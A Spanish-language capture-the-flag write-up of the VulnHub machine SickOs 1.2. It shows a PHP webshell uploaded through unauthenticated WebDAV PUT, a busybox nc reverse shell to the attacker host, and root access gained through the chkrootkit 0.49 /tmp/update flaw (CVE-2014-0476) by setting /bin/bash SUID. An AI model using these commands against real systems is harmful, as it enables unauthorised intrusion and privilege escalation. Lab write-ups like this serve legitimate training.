the_open_door
café
ESEN

SickOs 1.2

VulnHubMediaLinux11.0.0.131

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#webdav#lighttpd#put-method#file-upload#reverse-shell#chkrootkit#cve-2014-0476#pspy#cron#suid
TL;DR. SickOs 1.2 es una máquina Ubuntu que expone SSH y un lighttpd 1.4.28 con WebDAV habilitado en /test/. Los métodos PUT, MKCOL y MOVE están disponibles sin autenticación, así que subimos una webshell PHP por PUT y obtenemos ejecución de comandos como www-data. Para la escalada, pspy revela que root ejecuta chkrootkit 0.49 por cron. Esa versión (CVE-2014-0476) ejecuta ciegamente /tmp/update si existe: creamos ese fichero con chmod u+s /bin/bash y, cuando el cron dispara, /bin/bash queda SUID; bash -p nos da root.

Reconocimiento

Un arp-scan en la red local sitúa el objetivo en 11.0.0.131.

arp-scan --localnet -I eth0
11.0.0.1    00:50:56:c0:00:03  VMware, Inc.
11.0.0.131  00:0c:29:49:8b:4d  VMware, Inc.
11.0.0.254  00:50:56:e6:a6:cb  VMware, Inc.

Enumeración de servicios

El escaneo completo de puertos deja solo dos abiertos: 22 (SSH) y 80 (HTTP).

nmap -p- -sS --min-rate 5000 -n --open -vvv 11.0.0.131
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV -n -Pn 11.0.0.131 -oN targeted_scan
22/tcp open  ssh   OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http  lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

whatweb añade la versión de PHP: PHP 5.3.10, otra pieza muy desactualizada.

whatweb http://11.0.0.131/
http://11.0.0.131/ [200 OK] HTTPServer[lighttpd/1.4.28], PHP[5.3.10-1ubuntu3.21],
X-Powered-By[PHP/5.3.10-1ubuntu3.21], lighttpd[1.4.28]

WebDAV en /test/

Probando rutas típicas de lighttpd aparece /test/. Una petición OPTIONS con curl revela que ahí vive WebDAV, y que los métodos de escritura están permitidos.

curl -v -X OPTIONS http://11.0.0.131/test/
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

PUT, MKCOL, MOVE, DELETE... y ninguna autenticación. Esto permite subir ficheros arbitrarios al servidor, así que el siguiente paso es evidente: subir una webshell.

Shell como www-data

Subida de webshell por PUT (WebDAV)

Creamos una webshell PHP mínima y la subimos a /test/ con PUT. El servidor responde 201 Created. Al invocarla con ?cmd=id confirmamos ejecución de comandos: uid=33(www-data).

echo '<?php system($_GET["cmd"]); ?>' > exploit.php
curl -v -X PUT -d @exploit.php http://11.0.0.131/test/exploit.php
curl 'http://11.0.0.131/test/exploit.php?cmd=id'

Webshell subida por PUT a /test/ (201 Created) y ejecución de id devolviendo www-data

< HTTP/1.1 201 Created
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Con RCE confirmada, lanzamos una reverse shell. La máquina tiene las herramientas capadas (parte del reto es "old school"), pero busybox nc sigue disponible.

# atacante
nc -lvnp 443
# navegador / curl
http://11.0.0.131/test/exploit.php?cmd=busybox nc 11.0.0.129 443 -e bash

Cae la conexión como www-data@ubuntu y la estabilizamos a PTY.

Reverse shell recibida como www-data@ubuntu tras invocar busybox nc desde la webshell

http://11.0.0.131/test/exploit.php?cmd=busybox nc 11.0.0.129 443 -e bash

$ penelope
[+] Listening for reverse shells on 0.0.0.0:4444  ->  127.0.0.1 . 11.0.0.129 . 172.18.0.1 . 172.17.0.1
(Penelope)> listeners add -p 443
[+] Listening for reverse shells on 0.0.0.0:443  ->  127.0.0.1 . 11.0.0.129 . 172.18.0.1 . 172.17.0.1
[+] Got reverse shell from ubuntu~11.0.0.131-Linux-i686  Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12

www-data@ubuntu:/var/www/test$ whoami
www-data

Escalada de privilegios: chkrootkit 0.49

pspy: un cron de root

Sin credenciales de otros usuarios, buscamos tareas programadas. Transferimos pspy (monitoriza procesos sin privilegios) y observamos qué corre en segundo plano.

# atacante
python3 -m http.server 8080
# víctima
wget http://11.0.0.129:8080/pspy32 &>/dev/null; chmod +x pspy32; ./pspy32

pspy (repo) captura, con UID=0, la ejecución periódica de /bin/sh /usr/sbin/chkrootkit lanzada por CRON. Es decir, root corre chkrootkit cada poco tiempo.

pspy32 mostrando procesos UID=0 lanzando /usr/sbin/chkrootkit desde CRON

2026/04/21 07:22:15 CMD: UID=0    PID=1      | /sbin/init
2026/04/21 07:23:01 CMD: UID=0    PID=8013   | CRON
2026/04/21 07:23:01 CMD: UID=0    PID=8014   | /bin/sh -c /usr/sbin/chkrootkit
2026/04/21 07:23:01 CMD: UID=0    PID=8015   | /bin/sh /usr/sbin/chkrootkit
2026/04/21 07:23:01 CMD: UID=0    PID=8016   | /bin/sh /usr/sbin/chkrootkit
2026/04/21 07:23:01 CMD: UID=0    PID=8032   | /bin/uname -s
2026/04/21 07:23:01 CMD: UID=0    PID=8033   | /bin/uname -r
2026/04/21 07:23:01 CMD: UID=0    PID=8034   | /bin/ps ax
2026/04/21 07:23:01 CMD: UID=0    PID=8044   | /bin/echo -n Checking `amd' ...
2026/04/21 07:23:01 CMD: UID=0    PID=8051   | /bin/echo -n Checking `basename' ...

CVE-2014-0476: el fichero /tmp/update

Inspeccionando el binario (cat /usr/sbin/chkrootkit) se confirma la versión 0.49. searchsploit chkrootkit 0.49 documenta el fallo: la función slapper() de chkrootkit hace run ./update sin comillas ni validación, de modo que si existe /tmp/update con permisos de ejecución, chkrootkit lo ejecuta con los privilegios de quien lo lanza. Como aquí lo lanza root por cron, cualquier escritura en /tmp se convierte en ejecución como root (CVE-2014-0476).

Creamos /tmp/update con un payload que marca /bin/bash como SUID y esperamos al cron.

cat > /tmp/update <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /tmp/update

Cuando chkrootkit se ejecuta, /bin/bash pasa a ser SUID root (-rwsr-xr-x). Con bash -p (que conserva el UID efectivo) obtenemos una shell de root y leemos la flag final.

ls -l /bin/bash
bash -p
cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

/bin/bash con bit SUID, bash -p abre shell de root y se lee la flag de SickOs 1.2

-rwsr-xr-x 1 root root 920788 Mar 28  2013 /bin/bash
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2 ...

Cadena de ataque

lighttpd 1.4.28 en :80 → WebDAV en /test/ (PUT sin auth)
   └─ PUT webshell.php ── RCE como www-data ── busybox nc ── reverse shell
        └─ pspy: root ejecuta chkrootkit 0.49 por cron
             └─ CVE-2014-0476: /tmp/update con chmod u+s /bin/bash
                  └─ bash -p ── shell como root ── flag

Lecciones aprendidas

  • WebDAV sin autenticación es RCE servida. Permitir PUT sobre un directorio servido por el intérprete PHP equivale a dar ejecución de comandos a cualquiera. Si se necesita WebDAV, va con autenticación y con las extensiones ejecutables filtradas.
  • Enumerar procesos revela lo que no se ve. Sin credenciales adicionales, pspy es la forma de descubrir tareas de cron que corren como root. Fue la pieza que destapó la escalada.
  • El software de seguridad también tiene bugs. chkrootkit 0.49, una herramienta defensiva, se convirtió en el vector de escalada por ejecutar /tmp/update sin validar. Mantener actualizado hasta lo que "protege".
  • bash -p conserva el privilegio. El truco de marcar /bin/bash SUID solo sirve porque -p evita que la shell descarte el UID efectivo de root; sin -p, bash bajaría privilegios al arrancar.
Cheatsheet de comandos 10 comandos

Repaso rápido